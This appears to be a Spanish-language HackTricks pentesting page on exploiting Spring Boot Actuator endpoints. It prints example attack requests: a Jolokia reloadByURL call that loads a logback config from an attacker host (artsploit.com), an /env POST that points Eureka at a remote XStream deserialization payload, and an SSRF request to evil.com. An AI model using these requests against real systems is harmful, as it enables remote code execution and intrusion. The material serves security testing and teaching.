hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

5.8 KiB

Actuadores de Spring

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %} {% endhint %}

Bypass de Autenticación de Spring

De https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Explotando Actuadores de Spring Boot

Revisa la publicación original de [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Puntos Clave:

  • Los Actuadores de Spring Boot registran endpoints como /health, /trace, /beans, /env, etc. En las versiones 1 a 1.4, estos endpoints son accesibles sin autenticación. A partir de la versión 1.5, solo /health y /info son no sensibles por defecto, pero los desarrolladores a menudo desactivan esta seguridad.
  • Ciertos endpoints de Actuador pueden exponer datos sensibles o permitir acciones dañinas:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, y /heapdump.
  • En Spring Boot 1.x, los actuadores se registran bajo la URL raíz, mientras que en 2.x, están bajo la ruta base /actuator/.

Técnicas de Explotación:

  1. Ejecución Remota de Código a través de '/jolokia':
  • El endpoint del actuador /jolokia expone la Biblioteca Jolokia, que permite el acceso HTTP a MBeans.
  • La acción reloadByURL puede ser explotada para recargar configuraciones de logging desde una URL externa, lo que puede llevar a XXE ciego o Ejecución Remota de Código a través de configuraciones XML manipuladas.
  • URL de ejemplo para explotación: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Modificación de Configuración a través de '/env':
  • Si las Bibliotecas de Spring Cloud están presentes, el endpoint /env permite la modificación de propiedades ambientales.
  • Las propiedades pueden ser manipuladas para explotar vulnerabilidades, como la vulnerabilidad de deserialización de XStream en el Eureka serviceURL.
  • Ejemplo de solicitud POST de explotación:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Otras Configuraciones Útiles:
  • Propiedades como spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, y spring.datasource.tomcat.max-active pueden ser manipuladas para varios exploits, como inyección SQL o alteración de cadenas de conexión a la base de datos.

Información Adicional:

  • Una lista completa de actuadores por defecto se puede encontrar aquí.
  • El endpoint /env en Spring Boot 2.x utiliza formato JSON para la modificación de propiedades, pero el concepto general sigue siendo el mismo.

Temas Relacionados:

  1. Env + H2 RCE:
  • Los detalles sobre la explotación de la combinación del endpoint /env y la base de datos H2 se pueden encontrar aquí.
  1. SSRF en Spring Boot a través de la Interpretación Incorrecta de Nombres de Ruta:
  • El manejo de parámetros de matriz (;) en nombres de ruta HTTP por parte del marco de Spring puede ser explotado para Server-Side Request Forgery (SSRF).
  • Ejemplo de solicitud de explotación:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %} {% endhint %}